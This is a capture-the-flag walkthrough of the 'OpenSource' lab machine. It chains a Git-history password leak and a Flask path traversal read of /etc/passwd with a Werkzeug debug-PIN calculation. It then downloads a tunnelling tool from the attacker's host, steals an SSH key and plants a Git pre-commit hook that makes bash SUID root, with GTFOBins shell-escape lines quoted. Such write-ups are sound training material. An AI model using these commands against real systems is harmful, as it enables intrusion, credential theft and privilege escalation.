OpenSource
15 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.164
- Release: 21 / 05 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.164 -p 22,80
Nmap scan report for 10.10.11.164
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date:
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 96.61 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open. Port 3000 is filtered.
Enumeration
If we go to http://10.10.11.164
, we will see a page like this:
Scrolling through the page, we can download the source code for part of the web application:
This web application is shown in /upcloud
:
First of all, let’s apply some fuzzing to enumerate more routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.164/FUZZ
download [Status: 200, Size: 2489147, Words: 9473, Lines: 9803, Duration: 155ms]
console [Status: 200, Size: 1563, Words: 330, Lines: 46, Duration: 45ms]
There is /console
, which is really interesting if we had the PIN, but we don’t:
There are ways to compute the PIN if we have access to some specific files of the server (more information here).
Git enumeration
So, let’s analyze the given source code. First of all, we have these files and directories:
$ tree -a -L 1
.
├── .git
├── Dockerfile
├── app
├── build-docker.sh
├── config
└── source.zip
3 directories, 3 files
As we have a .git
directory, we have downloaded a Git repository, so there might be some sensitive information in old commits:
$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
$ git diff 2c67 ee9d
diff --git a/Dockerfile b/Dockerfile
index 5b0553c..76c7768 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,6 +29,7 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
+# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Nothing useful at all. Let’s see if we have more branches:
$ git branch
dev
* public
There’s a branch called dev
, let’s switch to that and enumerate old commits again:
$ git checkout dev
Cambiado a rama 'dev'
$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
It looks better. Let’s see the differences:
$ git diff a76f ee9d
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
- "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
- "http.proxyStrictSSL": false
-}
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_file
from app import app
-@app.route('/')
-def index():
- return render_template('index.html')
-
-
-@app.route('/download')
-def download():
- return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
@@ -30,4 +20,4 @@ def upload_file():
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
- return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
+ return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
And there we can see a clear text password for user dev01
: Soulless_Developer#2022
. These credentials are used for an HTTP proxy on port 5187, but this port is closed according to nmap
.
Static code analysis
Let’s continue by taking a look to the source files:
import os
from flask import Flask
app = Flask(__name__)
if os.environ.get('MODE') == 'PRODUCTION':
app.config.from_object('app.configuration.ProductionConfig')
else:
app.config.from_object('app.configuration.DevelopmentConfig')
from app import views
It uses Flask, which is a Python web framework. The file called views.py
contains all the available routes:
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
There is an interesting endpoint at /uploads
, which takes a path and prints out the indicated file. However, there is some sanitization on the function get_file_name
, which is in utils.py
:
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
As we can see, the developer uses a recursive approach to remove directory traversal attempts. For instance, "....//"
will be transformed to "../"
and finally it will become an empty string.
However, there is something left behind, since we can use a single ../
and then put a file like /etc/passwd
. The problem is that get_file_name
will return "/etc/passwd"
, and os.path.join
will result in /etc/passwd
because it won’t be able to join an absolute path with the current working directory, public
and uploads
:
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Here is a simple proof of concept, using %2e
as .
(URL encoding):
$ curl 10.10.11.164/uploads/%2e%2e//etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Foothold
So we have a way to read files from the server (Directory Path Traversal). At this point, we can try to get the needed information in order to calculate the Werkzeug PIN for /console
and run arbitrary Python code.
Werkzeug PIN exploit
Going back to the Werkzeug PIN exploit explanation, we need:
- The user that runs the server.
- The absolute path for
app.py
inflask
directory. - The MAC address of the machine (in hexadecimal).
- The machine ID, which is stored in
/etc/machine-id
or in/proc/sys/kernel/random/boot_id
.
The user that runs the server must be root
, since there is no other user in /etc/passwd
. Moreover, the machine is a Docker container, because of the random hostname:
$ curl 10.10.11.164/uploads/%2e%2e//etc/hostname
ef4008903997
The app.py
file must be inside /usr/local/lib/python3.5/dist-packages/flask/app.py
(according to the exploit), but it is not there. Maybe, the version of Python is newer, we find the right path when causing an error (namely, clicking “Upload” without a file), because debug
mode is active:
So this is the correct path: /usr/local/lib/python3.10/site-packages/flask/app.py
.
For the MAC address, we know it must be in /sys/class/net/<device id>/address
. We can guess that the device is eth0
, which is very common. And indeed it is, we have the MAC address:
$ curl 10.10.11.164/uploads/%2e%2e//sys/class/net/eth0/address
02:42:ac:11:00:06
curl: (18) transfer closed with 4078 bytes remaining to read
The exploit explanation says to use /proc/net/arp
to see available network interfaces, but we don’t get a response using curl
. The problem is that the Content-Length
header is set to 0
, so curl
stops reading. Using verbose mode, there is a warning:
$ curl 10.10.11.164/uploads/%2e%2e//proc/net/arp -v
* Trying 10.10.11.164:80...
* Connected to 10.10.11.164 (10.10.11.164) port 80 (#0)
> GET /uploads/%2e%2e//proc/net/arp HTTP/1.1
> Host: 10.10.11.164
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.2 Python/3.10.3
< Date: Tue, 05 Jul 2022 01:13:04 GMT
< Content-Disposition: inline; filename=arp
< Content-Type: application/octet-stream
< Content-Length: 0
< Last-Modified: Tue, 05 Jul 2022 01:13:04 GMT
< Cache-Control: no-cache
< ETag: "1656983584.1326792-0-548799692"
< Date: Tue, 05 Jul 2022 01:13:04 GMT
< Connection: close
<
* Excess found: excess = 156 url = /uploads/%2e%2e//proc/net/arp (zero-length body)
* Closing connection 0
We can use a raw socket connection to see the whole response:
$ echo 'GET /uploads/%2e%2e//proc/net/arp HTTP/1.1' | nc 10.10.11.164 80
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Tue, 05 Jul 2022 01:16:32 GMT
Content-Disposition: inline; filename=arp
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Tue, 05 Jul 2022 01:16:32 GMT
Cache-Control: no-cache
ETag: "1656983792.5126793-0-548799692"
Date: Tue, 05 Jul 2022 01:16:32 GMT
Connection: close
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
With sed
, we are able to show only the response body:
$ echo 'GET /uploads/%2e%2e//proc/net/arp HTTP/1.1' | nc 10.10.11.164 80 | sed -n '13,$p'
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
We can use this function called read_file
to wrap the above command:
$ function read_file() { echo "GET /uploads/%2e%2e/$1 HTTP/1.1" | nc 10.10.11.164 80 | sed -n '13,$p'; }
$ read_file /proc/net/arp
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
And there we see the eth0
interface, and also its corresponding MAC address. To format it as a decimal number, we can get rid of the colons and add 0x
(because it is hexadecimal):
$ python3 -q
>>> 0x0242ac110006
2485377892358
>>> exit()
Finally, we need the machine ID, but /etc/machine-id
does not exist. Therefore, we must check /proc/sys/kernel/random/boot_id
, according to the exploit:
$ read_file /proc/sys/kernel/random/boot_id
0abba663-d46d-4efb-8e26-158c2e4cb6c2
Now we can set the parameters in the Python exploit and get the PIN for the console:
$ python3 pin_exploit.py
101-705-652
If the PIN does not work, we must add a value from /proc/self/cgroups
:
$ read_file /proc/self/cgroup
12:freezer:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
11:rdma:/
10:hugetlb:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
9:pids:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
8:memory:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
7:cpuset:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
6:net_cls,net_prio:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
5:devices:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
4:blkio:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
3:cpu,cpuacct:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
2:perf_event:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
1:name=systemd:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
0::/system.slice/snap.docker.dockerd.service
Specifically, we must append
1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
to the machine ID (0abba663-d46d-4efb-8e26-158c2e4cb6c2
), and run the exploit again:
$ python3 pin_exploit.py
115-017-757
If it still does not work, we can change from MD5 hash to SHA1 or vice versa.
Finally, we will get a valid PIN and enter the console.
The first thing to notice is that the container does not have Bash, but nc
, so we must use a specific reverse shell payload to access the system. This is the command (taken from pentestmonkey.net):
And we get the connection back:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.164.
Ncat: Connection from 10.10.11.164:42081.
/bin/sh: can't access tty; job control turned off
/app # python3 -c 'import pty; pty.spawn("/bin/sh")'
/app # ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
/app # export TERM=xterm
/app # stty rows 50 columns 158
Container enumeration
We can confirm that we are in a Docker container (there is a file called .dockerenv
and the IP address is 172.17.0.6
):
/app # ls -la /
total 68
drwxr-xr-x 1 root root 4096 Jul 4 01:27 .
drwxr-xr-x 1 root root 4096 Jul 4 01:27 ..
-rwxr-xr-x 1 root root 0 Jul 4 01:27 .dockerenv
drwxr-xr-x 1 root root 4096 May 4 16:35 app
drwxr-xr-x 1 root root 4096 Mar 17 05:52 bin
drwxr-xr-x 5 root root 340 Jul 4 01:27 dev
drwxr-xr-x 1 root root 4096 Jul 4 01:27 etc
drwxr-xr-x 2 root root 4096 May 4 16:35 home
drwxr-xr-x 1 root root 4096 May 4 16:35 lib
drwxr-xr-x 5 root root 4096 May 4 16:35 media
drwxr-xr-x 2 root root 4096 May 4 16:35 mnt
drwxr-xr-x 2 root root 4096 May 4 16:35 opt
dr-xr-xr-x 230 root root 0 Jul 4 01:27 proc
drwx------ 1 root root 4096 Jul 4 01:53 root
drwxr-xr-x 1 root root 4096 Jul 4 01:27 run
drwxr-xr-x 1 root root 4096 Mar 17 05:52 sbin
drwxr-xr-x 2 root root 4096 May 4 16:35 srv
dr-xr-xr-x 13 root root 0 Jul 4 01:27 sys
drwxrwxrwt 1 root root 4096 Jul 4 01:52 tmp
drwxr-xr-x 1 root root 4096 May 4 16:35 usr
drwxr-xr-x 1 root root 4096 May 4 16:35 var
/app # ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
12: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:06 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.6/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Here, we must recall that port 3000 was filtered on the machine, maybe we are able to access this port from the container, using network 172.17.0.0/16
:
/app # wget -qO- 172.17.0.1:3000 | head
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto" />
<meta name="author" content="Gitea - Git with a cup of tea" />
Port forwarding
There it is. To access this page from a browser, we must use chisel
to do port forwarding.
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.164 - - [] "GET /chisel HTTP/1.1" 200 -
/app # cd /tmp
/tmp # wget 10.10.17.44:8000/chisel -qO .chisel
/tmp # chmod +x .chisel
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint FX/QSjEzTqjMotC2jW9Y5lk6gKLr5IlopGmfEndFGhU=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening
/tmp # ./.chisel client 10.10.17.44:1234 R:3000:172.17.0.1:3000
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 81.99391ms)
Access to Gitea
Now we can go to http://127.0.0.1:3000
and we see a Gitea web application:
This is an open-source Git repository manager (like GitHub). We can list the registered users:
There’s one called dev01
… Let’s try to login using the credentials found earlier:
And we are in:
There is a repository called home-backup
, and it contains files that should be the user’s home directory:
Let’s go to .ssh
and grab the id_rsa
private SSH key:
One way to get the files is use git
, via the tunnel:
$ git clone http://127.0.0.1:3000/dev01/home-backup.git
Clonando en 'home-backup'...
Username for 'http://127.0.0.1:3000': dev01
Password for 'http://dev01@127.0.0.1:3000':
remote: Counting objects: 11, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 11 (delta 0), reused 0 (delta 0)
Desempaquetando objetos: 100% (11/11), 5.77 KiB | 1.44 MiB/s, listo.
Now, let’s access through SSH using the private key:
$ chmod 600 home-backup/.ssh/id_rsa
$ ssh -i home-backup/.ssh/id_rsa dev01@10.10.11.164
dev01@opensource:~$ cat user.txt
d2d88b24d324fb497c67d10a9c691310
System enumeration
Basic enumeration does not show anything useful:
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
dev01@opensource:~$ sudo -l
[sudo] password for dev01:
Sorry, user dev01 may not run sudo on opensource.
dev01@opensource:~$ find / -perm -4000 2>/dev/null | grep -v snap
/bin/fusermount
/bin/umount
/bin/mount
/bin/su
/bin/ping
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chfn
If we use pspy
to enumerate running processes, we can see some Git commands that are interesting:
dev01@opensource:~$ cd /tmp
dev01@opensource:/tmp$ wget 10.10.17.44:8000/pspy64s -qO .pspy
dev01@opensource:/tmp$ chmod +x .pspy
dev01@opensource:/tmp$ ./.pspy
...
CMD: UID=0 PID=2689 | /usr/sbin/CRON -f
CMD: UID=0 PID=2697 | /bin/bash /root/meta/app/clean.sh
CMD: UID=0 PID=2696 | cp /root/config /home/dev01/.git/config
CMD: UID=0 PID=2698 | /bin/bash /usr/local/bin/git-sync
CMD: UID=0 PID=2702 | git commit -m Backup for 2022-07-05
CMD: UID=0 PID=2706 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
CMD: UID=0 PID=2705 | cut -d -f1
CMD: UID=0 PID=2704 | /snap/bin/docker exec upcloud6000 hostname -i
CMD: UID=0 PID=2703 | git push origin main
...
Basically, it is committing some changes in a repository every minute.
Privilege escalation
The idea here is that we can use Git hooks to execute scripts, either before commit of after commit. We can see some useful commands in GTFOBins, or the same information using my tool gtfobins-cli
:
$ gtfobins-cli --shell git
git ==> https://gtfobins.github.io/gtfobins/git/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
PAGER='sh -c "exec sh 0<&1"' git -p help
This invokes the default pager, which is likely to be less, other functions may apply.
git help config
!/bin/sh
The help system can also be reached from any git command, e.g., git branch. This invokes the default pager, which is likely to be less, other functions may apply.
git branch --help config
!/bin/sh
Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
Alright, so we must enter a command in a file called pre-commit
(without .sample
suffix) inside .git/hooks
. For instance, let’s add SUID permissions to /bin/bash
:
dev01@opensource:/tmp$ echo 'chmod 4755 /bin/bash' > ~/.git/hooks/pre-commit
dev01@opensource:/tmp$ chmod +x ~/.git/hooks/pre-commit
dev01@opensource:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
After some seconds, the script is executed by root
when doing git commit
and /bin/bash
becomes a SUID binary:
dev01@opensource:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
So, we can run Bash as root
and get the root.txt
flag:
dev01@opensource:/tmp$ bash -p
bash-4.4# cat /root/root.txt
a470e19e4c146962df93f39de9df63e7